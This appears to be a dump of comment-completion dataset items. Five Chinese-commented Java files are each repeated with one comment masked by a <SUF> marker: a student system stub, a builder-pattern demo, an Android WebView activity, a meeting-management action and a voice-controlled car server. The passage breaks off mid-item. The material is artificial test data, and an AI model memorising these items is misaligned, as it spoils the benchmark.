file_id
stringlengths
5
9
content
stringlengths
128
32.8k
repo
stringlengths
9
63
path
stringlengths
8
125
token_length
int64
36
8.14k
original_comment
stringlengths
5
1.83k
comment_type
stringclasses
2 values
detected_lang
stringclasses
1 value
masked_comment
stringlengths
111
32.8k
excluded
float64
0
1
44207_2
import java.util.*; //二、实验内容 // 1、完成一个简易学生信息系统,学生分为本科生和研究生,本科生有学号、姓名、年龄、班级、专业、 // 地址、各科成绩等信息,研究生有学号、姓名、年龄、班级、地址、导师、研究方向、各科成绩等信息 // ,所有地址包含省份、城市、街道、门牌号等信息。系统至少需要实现以下功能:增加、修改、删除学生信息, // 浏览(各类)学生信息,可以根据班级、姓名或者学号查询学生信息,可以根据各科成绩、总成绩、 // 学号排序显示(各类)所有学生信息,能分别查看本科生、研究生人数,以及所有学生的总人数。 // 其它要求如下: // (1)要求应用面向对象程序设计的思想,根据给定的需求进行分析,设计、实现合理的类。 // (2)类间有继承、组合关系,并画出类图。 // (3)源代码为多文件程序。 // (4)统计学生人数的变量是类中的静态数据成员。 // (5)增加和删除学生要分别考虑是否满和是否为空的边界条件。 // (6)代码规范、美观,易读、易扩展。 public class StudentDataOperation{ public static void main(String[] args) { System.out.println("欢迎使用学生信息管理系统"); } }
000dust000/StudentDataOperation
StudentDataOperation.java
388
// 地址、各科成绩等信息,研究生有学号、姓名、年龄、班级、地址、导师、研究方向、各科成绩等信息
line_comment
zh-cn
import java.util.*; //二、实验内容 // 1、完成一个简易学生信息系统,学生分为本科生和研究生,本科生有学号、姓名、年龄、班级、专业、 // 地址 <SUF> // ,所有地址包含省份、城市、街道、门牌号等信息。系统至少需要实现以下功能:增加、修改、删除学生信息, // 浏览(各类)学生信息,可以根据班级、姓名或者学号查询学生信息,可以根据各科成绩、总成绩、 // 学号排序显示(各类)所有学生信息,能分别查看本科生、研究生人数,以及所有学生的总人数。 // 其它要求如下: // (1)要求应用面向对象程序设计的思想,根据给定的需求进行分析,设计、实现合理的类。 // (2)类间有继承、组合关系,并画出类图。 // (3)源代码为多文件程序。 // (4)统计学生人数的变量是类中的静态数据成员。 // (5)增加和删除学生要分别考虑是否满和是否为空的边界条件。 // (6)代码规范、美观,易读、易扩展。 public class StudentDataOperation{ public static void main(String[] args) { System.out.println("欢迎使用学生信息管理系统"); } }
0
31020_0
package builder; /** * 建造者模式:将一个复杂对象的构建与它的表示分离,使得同样的构建 过程可以创建不同的表示。将构造复杂对象的过程和组成对象的部件解耦。 * 运用场景:本来只由一个小对象组成的逻辑,后来更改后需要多个小对象组成。 且不能把内部暴露客户程序。兼得可用性和安全 <br/> * 和抽象工厂的区别:了将构建复杂对象的过程和它的部件解耦.注意: 是解耦过程和部件。建造者多出一个指导者的角色。创建模式着重于逐步将组件装配 * 成一个成品并向外提供成品,而抽象工厂模式着重于得到产品族中相关的多个产品对象<br> * * 组成:抽象建造者角色,具体建造者角色,指导者角色,产品角色 * * @author yanbin * */ public class BuilderPattern { public static void main(String[] args) { // 多态创建建造者(部件) Builder builder = new ConcreteBuilder(); // 根据建造着实例化指导者 (构建过程) Director director = new Director(builder); // 利用指导者来创建 director.construct(); // 表现 Product product = builder.getResult(); System.out.println(product); System.out.println(product.getPartA()); System.out.println(product.getPartB()); System.out.println(product.getPartC()); } }
007slm/design_pattern
src/builder/BuilderPattern.java
397
/** * 建造者模式:将一个复杂对象的构建与它的表示分离,使得同样的构建 过程可以创建不同的表示。将构造复杂对象的过程和组成对象的部件解耦。 * 运用场景:本来只由一个小对象组成的逻辑,后来更改后需要多个小对象组成。 且不能把内部暴露客户程序。兼得可用性和安全 <br/> * 和抽象工厂的区别:了将构建复杂对象的过程和它的部件解耦.注意: 是解耦过程和部件。建造者多出一个指导者的角色。创建模式着重于逐步将组件装配 * 成一个成品并向外提供成品,而抽象工厂模式着重于得到产品族中相关的多个产品对象<br> * * 组成:抽象建造者角色,具体建造者角色,指导者角色,产品角色 * * @author yanbin * */
block_comment
zh-cn
package builder; /** * 建造者 <SUF>*/ public class BuilderPattern { public static void main(String[] args) { // 多态创建建造者(部件) Builder builder = new ConcreteBuilder(); // 根据建造着实例化指导者 (构建过程) Director director = new Director(builder); // 利用指导者来创建 director.construct(); // 表现 Product product = builder.getResult(); System.out.println(product); System.out.println(product.getPartA()); System.out.println(product.getPartB()); System.out.println(product.getPartC()); } }
1
55868_25
//package com.example.wwwapplication; // //import androidx.appcompat.app.AppCompatActivity; // //import android.os.Bundle; //import android.util.Log; //import android.webkit.WebSettings; //import android.webkit.WebView; //import android.webkit.WebViewClient; // //import com.google.gson.Gson; // //import java.util.ArrayList; //import java.util.List; // //public class guangchangActivity extends AppCompatActivity { // private static final String TAG = "guangchangActivity"; // private WebView mWebView; // // @Override // protected void onCreate(Bundle savedInstanceState) { // super.onCreate(savedInstanceState); // setContentView(R.layout.activity_guangchang); // // mWebView = findViewById(R.id.main_web_view); // //解决点击链接跳转浏览器问题 // mWebView.setWebViewClient(new WebViewClient()); // //js支持 // WebSettings settings = mWebView.getSettings(); // settings.setJavaScriptEnabled(true); // //允许访问assets目录 // settings.setAllowFileAccess(true); // //设置WebView排版算法, 实现单列显示, 不允许横向移动 // settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.SINGLE_COLUMN); // //assets文件路径 // String path = "file:///android_asset/index.html"; // //添加Json数据 // addJson(); // //加载Html页面 // mWebView.loadUrl(path); // } // // private void addJson() { // JsSupport jsSupport = new JsSupport(this); // List<FriendsZone> zones = new ArrayList<>(); // // // zones.add(new FriendsZone("www", "images/icon.png", "【小清新风光的场景唯美插画图片】“期待万物复苏的春天,好像可以给自己一个理由,扔掉一切糟糕的情绪,拍一拍身上的尘土,继续笑着向前。”让他带你慢慢入梦! ", "drawable/t1.jpg")); // zones.add(new FriendsZone("xxx", "images/icon.png", "#情话# #壁纸# 经典爱情伤感文字唯美带字风景图片。我不愿让你一个人,一个人在人海浮沉。与我相拥,附着一句抱歉,近来的打扰。宁愿笑着流泪,也不要哭着说后悔。一段感情不管当初有多开心,分手时就有多难过,一组爱情伤感文字分享。", "drawable/t1.jpg")); // zones.add(new FriendsZone("Tom", "images/icon.png", "【雪莉给烤鳗鱼配音再被批 回应:你们更可恶】20日, #崔雪莉#分享一段烤鳗鱼视频→-微博视频 视频中,烤盘中的鳗鱼头还在动,雪莉在一旁配音\"啊~救救我~\"不料却遭网友批评,称鳗鱼还活着,雪莉笑着配音的做法过于残忍。随后,雪莉发文回应:“你们别吃鳗鱼。”并评论道“你们更可恶! ", "drawable/t1.jpg")); // zones.add(new FriendsZone("Lily", "images/icon.png", "深海之蓝!!!! ", "drawable/t1.jpg")); // zones.add(new FriendsZone("Cindy", "images/icon.png", "当我觉得我倒霉了,我就会想:这是在挥洒我的霉运,挥洒之后,剩下的就全都是幸运了! ", "drawable/t1.jpg")); // zones.add(new FriendsZone("www", "images/icon.png", "【小清新风光的场景唯美插画图片】“期待万物复苏的春天,好像可以给自己一个理由,扔掉一切糟糕的情绪,拍一拍身上的尘土,继续笑着向前。”让他带你慢慢入梦! ", "drawable/t1.jpg")); // zones.add(new FriendsZone("www", "images/icon.png", "【小清新风光的场景唯美插画图片】“期待万物复苏的春天,好像可以给自己一个理由,扔掉一切糟糕的情绪,拍一拍身上的尘土,继续笑着向前。”让他带你慢慢入梦! ", "drawable/t1.jpg")); // // Gson gson = new Gson(); // String json = gson.toJson(zones); // Log.d(TAG, "addJson: json => " + json); // jsSupport.setJson(json); // //添加js交互接口, 并指明js中对象的调用名称 // mWebView.addJavascriptInterface(jsSupport, "weichat"); // } // // @Override // public void onBackPressed() { // if (mWebView.canGoBack()) { // mWebView.goBack(); // } else { // super.onBackPressed(); // } // } //} //
01Petard/News
app/src/main/java/com/example/wwwapplication/guangchangActivity.java
1,359
// //设置WebView排版算法, 实现单列显示, 不允许横向移动
line_comment
zh-cn
//package com.example.wwwapplication; // //import androidx.appcompat.app.AppCompatActivity; // //import android.os.Bundle; //import android.util.Log; //import android.webkit.WebSettings; //import android.webkit.WebView; //import android.webkit.WebViewClient; // //import com.google.gson.Gson; // //import java.util.ArrayList; //import java.util.List; // //public class guangchangActivity extends AppCompatActivity { // private static final String TAG = "guangchangActivity"; // private WebView mWebView; // // @Override // protected void onCreate(Bundle savedInstanceState) { // super.onCreate(savedInstanceState); // setContentView(R.layout.activity_guangchang); // // mWebView = findViewById(R.id.main_web_view); // //解决点击链接跳转浏览器问题 // mWebView.setWebViewClient(new WebViewClient()); // //js支持 // WebSettings settings = mWebView.getSettings(); // settings.setJavaScriptEnabled(true); // //允许访问assets目录 // settings.setAllowFileAccess(true); // //设置 <SUF> // settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.SINGLE_COLUMN); // //assets文件路径 // String path = "file:///android_asset/index.html"; // //添加Json数据 // addJson(); // //加载Html页面 // mWebView.loadUrl(path); // } // // private void addJson() { // JsSupport jsSupport = new JsSupport(this); // List<FriendsZone> zones = new ArrayList<>(); // // // zones.add(new FriendsZone("www", "images/icon.png", "【小清新风光的场景唯美插画图片】“期待万物复苏的春天,好像可以给自己一个理由,扔掉一切糟糕的情绪,拍一拍身上的尘土,继续笑着向前。”让他带你慢慢入梦! ", "drawable/t1.jpg")); // zones.add(new FriendsZone("xxx", "images/icon.png", "#情话# #壁纸# 经典爱情伤感文字唯美带字风景图片。我不愿让你一个人,一个人在人海浮沉。与我相拥,附着一句抱歉,近来的打扰。宁愿笑着流泪,也不要哭着说后悔。一段感情不管当初有多开心,分手时就有多难过,一组爱情伤感文字分享。", "drawable/t1.jpg")); // zones.add(new FriendsZone("Tom", "images/icon.png", "【雪莉给烤鳗鱼配音再被批 回应:你们更可恶】20日, #崔雪莉#分享一段烤鳗鱼视频→-微博视频 视频中,烤盘中的鳗鱼头还在动,雪莉在一旁配音\"啊~救救我~\"不料却遭网友批评,称鳗鱼还活着,雪莉笑着配音的做法过于残忍。随后,雪莉发文回应:“你们别吃鳗鱼。”并评论道“你们更可恶! ", "drawable/t1.jpg")); // zones.add(new FriendsZone("Lily", "images/icon.png", "深海之蓝!!!! ", "drawable/t1.jpg")); // zones.add(new FriendsZone("Cindy", "images/icon.png", "当我觉得我倒霉了,我就会想:这是在挥洒我的霉运,挥洒之后,剩下的就全都是幸运了! ", "drawable/t1.jpg")); // zones.add(new FriendsZone("www", "images/icon.png", "【小清新风光的场景唯美插画图片】“期待万物复苏的春天,好像可以给自己一个理由,扔掉一切糟糕的情绪,拍一拍身上的尘土,继续笑着向前。”让他带你慢慢入梦! ", "drawable/t1.jpg")); // zones.add(new FriendsZone("www", "images/icon.png", "【小清新风光的场景唯美插画图片】“期待万物复苏的春天,好像可以给自己一个理由,扔掉一切糟糕的情绪,拍一拍身上的尘土,继续笑着向前。”让他带你慢慢入梦! ", "drawable/t1.jpg")); // // Gson gson = new Gson(); // String json = gson.toJson(zones); // Log.d(TAG, "addJson: json => " + json); // jsSupport.setJson(json); // //添加js交互接口, 并指明js中对象的调用名称 // mWebView.addJavascriptInterface(jsSupport, "weichat"); // } // // @Override // public void onBackPressed() { // if (mWebView.canGoBack()) { // mWebView.goBack(); // } else { // super.onBackPressed(); // } // } //} //
0
46292_13
package com.huiguanjia.action; import java.util.*; import org.apache.struts2.json.JSONException; import org.apache.struts2.json.JSONUtil; import com.opensymphony.xwork2.ActionContext; import com.opensymphony.xwork2.ActionSupport; import com.alibaba.fastjson.JSON; import com.huiguanjia.pojo.Department; import com.huiguanjia.pojo.Meeting; import com.huiguanjia.pojo.OrdinaryUser; import com.huiguanjia.service.CompanyManagerService; import com.huiguanjia.service.DepartmentService; import com.huiguanjia.service.MeetingService; //if import com.huigunajia.service.MeetingBulletinService? //import com.huiguanjia.util.QiniuyunQRcodeUtil; import com.huiguanjia.util.QiniuyunUtil; import com.huiguanjia.util.RandomUtil; public class MeetingAction extends MyActionSupport{ private static final long serialVersionUID = 2782570898187961833L; private String meetingId; //会议 private String meetingName; //会议名 private String meetingContent; //会议内容 private String meetingLocation; //会议地点 private String meetingCreatorId; //创建者id(cellphone),null=true? private String meetingRemark; //会议备注null=true // private String meetingQrcode; //会议二维码 private Integer meetingState; //会议状态:0活动 1完成 2删除 private Integer meetingFrequency; //频率:1单次2每天3每周4每月 private String meetingStartTime; //会议开始时间 private String meetingPredictFinishTime; //预期结束时间 private String meetingCreateTime; //该记录的创建时间 private String meetingFinishTime; //会议实际完成时间 private String meetingDeleteTime; //会议删除时间 private String cellphone; //普通用户主键 private String username; //公司管理员主键 private String path; //存放二维码路径 //0:获取全部会议;1:获取用户创建/组织的会议;2:获取用户参与的会议 private int listType; private Map<String,Object> jsonData; public String execute() throws Exception{ return "json"; } public String create() throws Exception { jsonData = new HashMap<String,Object>(); // 生成meetingId String meetingId = RandomUtil.UUID(); OrdinaryUser user = new OrdinaryUser(); user.setCellphone(meetingCreatorId); // 二维码的url String meetingQrcode = "https://www.huiguanjia.com/api/v1/u/meeting"+meetingId; Meeting meeting = new Meeting(meetingId,user, meetingName, meetingContent, meetingLocation, meetingRemark, meetingQrcode, 0, meetingFrequency, meetingStartTime, meetingPredictFinishTime, meetingCreateTime, null, null); MeetingService ms= new MeetingService(); // QiniuyunQRcodeUtil qiniuyunQRcodeUtil = new QiniuyunQRcodeUtil(); if(false ==ms.create(meeting)){ jsonData.put("code", -1); } else{ // 创建会议成功,生成二维码图片到本地指定路径里面,上传二维码到七牛云 jsonData.put("code", 0); // try{ //// String path = "test.gif"; // String path = RandomUtil.UUID()+".gif"; // ms.putMeetingQrcode(meetingQrcode,path); // QiniuyunUtil qiniuyunUtil = new QiniuyunUtil(); // qiniuyunUtil.upTokenFile(path); // // 生成指向二维码图片的url,返回这个url // jsonData.put("url",qiniuyunUtil.downloadFile(path)); // } // catch(Exception e){ // // } } return SUCCESS; } public String delete(){ jsonData = new HashMap<String,Object>(); MeetingService ms= new MeetingService(); jsonData.put("code", ms.delete(meetingId,cellphone)); return SUCCESS; } public String finish(){ jsonData = new HashMap<String,Object>(); MeetingService ms= new MeetingService(); jsonData.put("code", ms.finish(meetingId,cellphone)); return SUCCESS; } public String update(){ jsonData = new HashMap<String,Object>(); Meeting meeting = new Meeting(); meeting.setMeetingId(meetingId); meeting.setMeetingName(meetingName); meeting.setMeetingContent(meetingContent); meeting.setMeetingLocation(meetingLocation); meeting.setMeetingRemark(meetingRemark); meeting.setMeetingStartTime(meetingStartTime); meeting.setMeetingPredictFinishTime(meetingPredictFinishTime); meeting.setMeetingFrequency(meetingFrequency); MeetingService ms = new MeetingService(); if(false == ms.update(meeting)){ jsonData.put("code", -1); } else{ jsonData.put("code", 0); } return SUCCESS; } /** * @info 根据会议ID搜索会议 * @return * @throws JSONException */ public String findByMeetingId(){ jsonData = new HashMap<String,Object>(); MeetingService ms = new MeetingService(); String meeting = ms.findByMeetingId(meetingId); jsonData.put("meeting", meeting); // System.out.println(meeting); return SUCCESS; } /** * @info 普通用户 获取会议列表 * @return */ public String findMeetingList(){ jsonData = new HashMap<String,Object>(); MeetingService ms = new MeetingService(); String meetinglist = ms.findMeetingList(cellphone, meetingState, listType); if(null == meetinglist){ jsonData.put("code", -1); // jsonData.put("meetinglist", ""); } else{ jsonData.put("code", 0); jsonData.put("meetinglist", meetinglist); } return SUCCESS; } /** * @info 普通用户根据会议名称搜索会议 * @return */ public String findByMeetingName1(){ jsonData = new HashMap<String,Object>(); MeetingService ms = new MeetingService(); String list = ms.findByMeetingName1(meetingName,cellphone); if(null == list){ jsonData.put("code", -1); jsonData.put("meetings", ""); } else{ jsonData.put("code", 0); jsonData.put("meetings", list); System.out.println(JSON.toJSONString(jsonData)); } return SUCCESS; } /** * @info 公司管理员会议名称搜索会议 * @return */ public String findByMeetingName2(){ jsonData = new HashMap<String,Object>(); MeetingService ms = new MeetingService(); String list = ms.findByMeetingName2(meetingName,username); if(null == list){ jsonData.put("code", -1); jsonData.put("meetings", ""); } else{ jsonData.put("code", 0); jsonData.put("meetings", list); System.out.println(JSON.toJSONString(jsonData)); } return SUCCESS; } // // /** // * @info 根据公司管理员名字来搜索会议 // * @return // */ // public String findByCompanyManagerName(){ // jsonData = new HashMap<String,Object>(); // MeetingService ms = new MeetingService(); // String list = ms.findByUserId(meetingCreatorId); // if(null == list){ // jsonData.put("code", -1); // jsonData.put("meetings", ""); // } // else{ // jsonData.put("code", 0); // jsonData.put("meetings", list); // System.out.println(JSON.toJSONString(jsonData)); // } // // return SUCCESS; // } // //setter and getter public String getMeetingId() { return meetingId; } public void setMeetingId(String meetingId) { this.meetingId = meetingId; } public String getMeetingLocation() { return meetingLocation; } public void setMeetingLocation(String meetingLocation) { this.meetingLocation = meetingLocation; } public String getMeetingContent() { return meetingContent; } public void setMeetingContent(String meetingContent) { this.meetingContent = meetingContent; } public String getMeetingName() { return meetingName; } public void setMeetingName(String meetingName) { this.meetingName = meetingName; } public String getMeetingRemark() { return meetingRemark; } public void setMeetingRemark(String meetingRemark) { this.meetingRemark = meetingRemark; } public String getMeetingCreatorId() { return meetingCreatorId; } public void setMeetingCreatorId(String meetingCreatorId) { this.meetingCreatorId = meetingCreatorId; } // public String getMeetingQrcode() { // return meetingQrcode; // } // // public void setMeetingQrcode(String meetingQrcode) { // this.meetingQrcode = meetingQrcode; // } public String getMeetingStartTime() { return meetingStartTime; } public void setMeetingStartTime(String meetingStartTime) { this.meetingStartTime = meetingStartTime; } public String getMeetingCreateTime() { return meetingCreateTime; } public void setMeetingCreateTime(String meetingCreateTime) { this.meetingCreateTime = meetingCreateTime; } public String getMeetingPredictFinishTime() { return meetingPredictFinishTime; } public void setMeetingPredictFinishTime(String meetingPredictFinishTime) { this.meetingPredictFinishTime = meetingPredictFinishTime; } public String getMeetingFinishTime() { return meetingFinishTime; } public void setMeetingFinishTime(String meetingFinishTime) { this.meetingFinishTime = meetingFinishTime; } public String getMeetingDeleteTime() { return meetingDeleteTime; } public void setMeetingDeleteTime(String meetingDeleteTime) { this.meetingDeleteTime = meetingDeleteTime; } public int getMeetingState() { return meetingState; } public void setMeetingState(int meetingState) { this.meetingState = meetingState; } public int getMeetingFrequency() { return meetingFrequency; } public void setMeetingFrequency(int meetingFrequency) { this.meetingFrequency = meetingFrequency; } public String getCellphone() { return cellphone; } public void setCellphone(String cellphone) { this.cellphone = cellphone; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getPath(){ return path; } public void setListType(int type){ this.listType = type; } public int getListType(){ return listType; } public void setPath(String path){ this.path = path; } public Map<String,Object> getJsonData(){ return jsonData; } }
0326/MeetingMng
src/com/huiguanjia/action/MeetingAction.java
2,972
//会议实际完成时间
line_comment
zh-cn
package com.huiguanjia.action; import java.util.*; import org.apache.struts2.json.JSONException; import org.apache.struts2.json.JSONUtil; import com.opensymphony.xwork2.ActionContext; import com.opensymphony.xwork2.ActionSupport; import com.alibaba.fastjson.JSON; import com.huiguanjia.pojo.Department; import com.huiguanjia.pojo.Meeting; import com.huiguanjia.pojo.OrdinaryUser; import com.huiguanjia.service.CompanyManagerService; import com.huiguanjia.service.DepartmentService; import com.huiguanjia.service.MeetingService; //if import com.huigunajia.service.MeetingBulletinService? //import com.huiguanjia.util.QiniuyunQRcodeUtil; import com.huiguanjia.util.QiniuyunUtil; import com.huiguanjia.util.RandomUtil; public class MeetingAction extends MyActionSupport{ private static final long serialVersionUID = 2782570898187961833L; private String meetingId; //会议 private String meetingName; //会议名 private String meetingContent; //会议内容 private String meetingLocation; //会议地点 private String meetingCreatorId; //创建者id(cellphone),null=true? private String meetingRemark; //会议备注null=true // private String meetingQrcode; //会议二维码 private Integer meetingState; //会议状态:0活动 1完成 2删除 private Integer meetingFrequency; //频率:1单次2每天3每周4每月 private String meetingStartTime; //会议开始时间 private String meetingPredictFinishTime; //预期结束时间 private String meetingCreateTime; //该记录的创建时间 private String meetingFinishTime; //会议 <SUF> private String meetingDeleteTime; //会议删除时间 private String cellphone; //普通用户主键 private String username; //公司管理员主键 private String path; //存放二维码路径 //0:获取全部会议;1:获取用户创建/组织的会议;2:获取用户参与的会议 private int listType; private Map<String,Object> jsonData; public String execute() throws Exception{ return "json"; } public String create() throws Exception { jsonData = new HashMap<String,Object>(); // 生成meetingId String meetingId = RandomUtil.UUID(); OrdinaryUser user = new OrdinaryUser(); user.setCellphone(meetingCreatorId); // 二维码的url String meetingQrcode = "https://www.huiguanjia.com/api/v1/u/meeting"+meetingId; Meeting meeting = new Meeting(meetingId,user, meetingName, meetingContent, meetingLocation, meetingRemark, meetingQrcode, 0, meetingFrequency, meetingStartTime, meetingPredictFinishTime, meetingCreateTime, null, null); MeetingService ms= new MeetingService(); // QiniuyunQRcodeUtil qiniuyunQRcodeUtil = new QiniuyunQRcodeUtil(); if(false ==ms.create(meeting)){ jsonData.put("code", -1); } else{ // 创建会议成功,生成二维码图片到本地指定路径里面,上传二维码到七牛云 jsonData.put("code", 0); // try{ //// String path = "test.gif"; // String path = RandomUtil.UUID()+".gif"; // ms.putMeetingQrcode(meetingQrcode,path); // QiniuyunUtil qiniuyunUtil = new QiniuyunUtil(); // qiniuyunUtil.upTokenFile(path); // // 生成指向二维码图片的url,返回这个url // jsonData.put("url",qiniuyunUtil.downloadFile(path)); // } // catch(Exception e){ // // } } return SUCCESS; } public String delete(){ jsonData = new HashMap<String,Object>(); MeetingService ms= new MeetingService(); jsonData.put("code", ms.delete(meetingId,cellphone)); return SUCCESS; } public String finish(){ jsonData = new HashMap<String,Object>(); MeetingService ms= new MeetingService(); jsonData.put("code", ms.finish(meetingId,cellphone)); return SUCCESS; } public String update(){ jsonData = new HashMap<String,Object>(); Meeting meeting = new Meeting(); meeting.setMeetingId(meetingId); meeting.setMeetingName(meetingName); meeting.setMeetingContent(meetingContent); meeting.setMeetingLocation(meetingLocation); meeting.setMeetingRemark(meetingRemark); meeting.setMeetingStartTime(meetingStartTime); meeting.setMeetingPredictFinishTime(meetingPredictFinishTime); meeting.setMeetingFrequency(meetingFrequency); MeetingService ms = new MeetingService(); if(false == ms.update(meeting)){ jsonData.put("code", -1); } else{ jsonData.put("code", 0); } return SUCCESS; } /** * @info 根据会议ID搜索会议 * @return * @throws JSONException */ public String findByMeetingId(){ jsonData = new HashMap<String,Object>(); MeetingService ms = new MeetingService(); String meeting = ms.findByMeetingId(meetingId); jsonData.put("meeting", meeting); // System.out.println(meeting); return SUCCESS; } /** * @info 普通用户 获取会议列表 * @return */ public String findMeetingList(){ jsonData = new HashMap<String,Object>(); MeetingService ms = new MeetingService(); String meetinglist = ms.findMeetingList(cellphone, meetingState, listType); if(null == meetinglist){ jsonData.put("code", -1); // jsonData.put("meetinglist", ""); } else{ jsonData.put("code", 0); jsonData.put("meetinglist", meetinglist); } return SUCCESS; } /** * @info 普通用户根据会议名称搜索会议 * @return */ public String findByMeetingName1(){ jsonData = new HashMap<String,Object>(); MeetingService ms = new MeetingService(); String list = ms.findByMeetingName1(meetingName,cellphone); if(null == list){ jsonData.put("code", -1); jsonData.put("meetings", ""); } else{ jsonData.put("code", 0); jsonData.put("meetings", list); System.out.println(JSON.toJSONString(jsonData)); } return SUCCESS; } /** * @info 公司管理员会议名称搜索会议 * @return */ public String findByMeetingName2(){ jsonData = new HashMap<String,Object>(); MeetingService ms = new MeetingService(); String list = ms.findByMeetingName2(meetingName,username); if(null == list){ jsonData.put("code", -1); jsonData.put("meetings", ""); } else{ jsonData.put("code", 0); jsonData.put("meetings", list); System.out.println(JSON.toJSONString(jsonData)); } return SUCCESS; } // // /** // * @info 根据公司管理员名字来搜索会议 // * @return // */ // public String findByCompanyManagerName(){ // jsonData = new HashMap<String,Object>(); // MeetingService ms = new MeetingService(); // String list = ms.findByUserId(meetingCreatorId); // if(null == list){ // jsonData.put("code", -1); // jsonData.put("meetings", ""); // } // else{ // jsonData.put("code", 0); // jsonData.put("meetings", list); // System.out.println(JSON.toJSONString(jsonData)); // } // // return SUCCESS; // } // //setter and getter public String getMeetingId() { return meetingId; } public void setMeetingId(String meetingId) { this.meetingId = meetingId; } public String getMeetingLocation() { return meetingLocation; } public void setMeetingLocation(String meetingLocation) { this.meetingLocation = meetingLocation; } public String getMeetingContent() { return meetingContent; } public void setMeetingContent(String meetingContent) { this.meetingContent = meetingContent; } public String getMeetingName() { return meetingName; } public void setMeetingName(String meetingName) { this.meetingName = meetingName; } public String getMeetingRemark() { return meetingRemark; } public void setMeetingRemark(String meetingRemark) { this.meetingRemark = meetingRemark; } public String getMeetingCreatorId() { return meetingCreatorId; } public void setMeetingCreatorId(String meetingCreatorId) { this.meetingCreatorId = meetingCreatorId; } // public String getMeetingQrcode() { // return meetingQrcode; // } // // public void setMeetingQrcode(String meetingQrcode) { // this.meetingQrcode = meetingQrcode; // } public String getMeetingStartTime() { return meetingStartTime; } public void setMeetingStartTime(String meetingStartTime) { this.meetingStartTime = meetingStartTime; } public String getMeetingCreateTime() { return meetingCreateTime; } public void setMeetingCreateTime(String meetingCreateTime) { this.meetingCreateTime = meetingCreateTime; } public String getMeetingPredictFinishTime() { return meetingPredictFinishTime; } public void setMeetingPredictFinishTime(String meetingPredictFinishTime) { this.meetingPredictFinishTime = meetingPredictFinishTime; } public String getMeetingFinishTime() { return meetingFinishTime; } public void setMeetingFinishTime(String meetingFinishTime) { this.meetingFinishTime = meetingFinishTime; } public String getMeetingDeleteTime() { return meetingDeleteTime; } public void setMeetingDeleteTime(String meetingDeleteTime) { this.meetingDeleteTime = meetingDeleteTime; } public int getMeetingState() { return meetingState; } public void setMeetingState(int meetingState) { this.meetingState = meetingState; } public int getMeetingFrequency() { return meetingFrequency; } public void setMeetingFrequency(int meetingFrequency) { this.meetingFrequency = meetingFrequency; } public String getCellphone() { return cellphone; } public void setCellphone(String cellphone) { this.cellphone = cellphone; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getPath(){ return path; } public void setListType(int type){ this.listType = type; } public int getListType(){ return listType; } public void setPath(String path){ this.path = path; } public Map<String,Object> getJsonData(){ return jsonData; } }
0
37053_3
import java.io.*; import java.net.*; import java.util.*; import java.util.Map.Entry; public class server{ public static void main(String args[])throws Exception{ try{ //链式散列集用来存储与小车连接的线程0 Map<String,serverthread> threadList = new HashMap<String,serverthread>(); ServerSocket server = new ServerSocket(8888); while(true){ Socket socket = server.accept(); System.out.println("connection ok!"); new serverthread(socket,threadList).start(); } } catch(Exception e){ //server.close(); } } } class serverthread extends Thread{ Socket socket; BufferedReader in = null; PrintWriter out; BufferedReader sin; Map<String,serverthread> threadList; static int i = 0; String car = null; String ist = null; public serverthread(Socket socket,Map<String,serverthread> threadList){ this.socket = socket; //this.set = set; this.threadList = threadList; i++; car = "car"+i; threadList.put(car,this); System.out.println("add suceess!"); } public void run(){ try{ out = new PrintWriter(socket.getOutputStream(),true);//发送数据 in = new BufferedReader(new InputStreamReader(socket.getInputStream()));//获取client端流 //System.out.println("in ok!"+in.readLine()); if(in != null){ String s = in.readLine(); System.out.println("st:"+s); if(s.startsWith("phone")){ threadList.remove(car); } Iterator<Entry<String,serverthread>> it = threadList.entrySet().iterator(); while (it.hasNext()&&s!=null) { Map.Entry entry = (Map.Entry) it.next(); //返回对应到该条目的值 serverthread st = (serverthread) entry.getValue(); if(st!=this){ st.out.println(instruct(s)); System.out.println("send:"+instruct(s)); out.println(instruct(s)); } } } //sin = new BufferedReader(new InputStreamReader(System.in)); //返回一个包含中条目的规则集(迭代器) System.out.println("end"); in.close(); out.close(); socket.close(); }catch(Exception e){} } public String instruct(String st){ for(int j = 0;j<st.length();j++){ //System.out.println(st.substring(i,i+1)); String st1 = st.substring(j,j+1); System.out.println("st1:"+st1); if(st1.equals("前")||st1.equals("钱")||st1.equals("近")||st1.equals("进")){ System.out.println("result:a"); return "A"; }else if(st1.equals("后")||st1.equals("退")){ System.out.println("result:b"); return "B"; }else if(st1.equals("右")||st1.equals("有")){ System.out.println("result:d"); return "D"; }else if(st1.equals("左")||st1.equals("夺")||st1.equals("冠")){ System.out.println("result:c"); return "C"; }else if(st1.equals("停")||st1.equals("傻")||st1.equals("逼")){ System.out.println("result:i"); return "I"; } } return "null"; } }
068089dy/voice-wifi-car
server.java
867
//发送数据
line_comment
zh-cn
import java.io.*; import java.net.*; import java.util.*; import java.util.Map.Entry; public class server{ public static void main(String args[])throws Exception{ try{ //链式散列集用来存储与小车连接的线程0 Map<String,serverthread> threadList = new HashMap<String,serverthread>(); ServerSocket server = new ServerSocket(8888); while(true){ Socket socket = server.accept(); System.out.println("connection ok!"); new serverthread(socket,threadList).start(); } } catch(Exception e){ //server.close(); } } } class serverthread extends Thread{ Socket socket; BufferedReader in = null; PrintWriter out; BufferedReader sin; Map<String,serverthread> threadList; static int i = 0; String car = null; String ist = null; public serverthread(Socket socket,Map<String,serverthread> threadList){ this.socket = socket; //this.set = set; this.threadList = threadList; i++; car = "car"+i; threadList.put(car,this); System.out.println("add suceess!"); } public void run(){ try{ out = new PrintWriter(socket.getOutputStream(),true);//发送 <SUF> in = new BufferedReader(new InputStreamReader(socket.getInputStream()));//获取client端流 //System.out.println("in ok!"+in.readLine()); if(in != null){ String s = in.readLine(); System.out.println("st:"+s); if(s.startsWith("phone")){ threadList.remove(car); } Iterator<Entry<String,serverthread>> it = threadList.entrySet().iterator(); while (it.hasNext()&&s!=null) { Map.Entry entry = (Map.Entry) it.next(); //返回对应到该条目的值 serverthread st = (serverthread) entry.getValue(); if(st!=this){ st.out.println(instruct(s)); System.out.println("send:"+instruct(s)); out.println(instruct(s)); } } } //sin = new BufferedReader(new InputStreamReader(System.in)); //返回一个包含中条目的规则集(迭代器) System.out.println("end"); in.close(); out.close(); socket.close(); }catch(Exception e){} } public String instruct(String st){ for(int j = 0;j<st.length();j++){ //System.out.println(st.substring(i,i+1)); String st1 = st.substring(j,j+1); 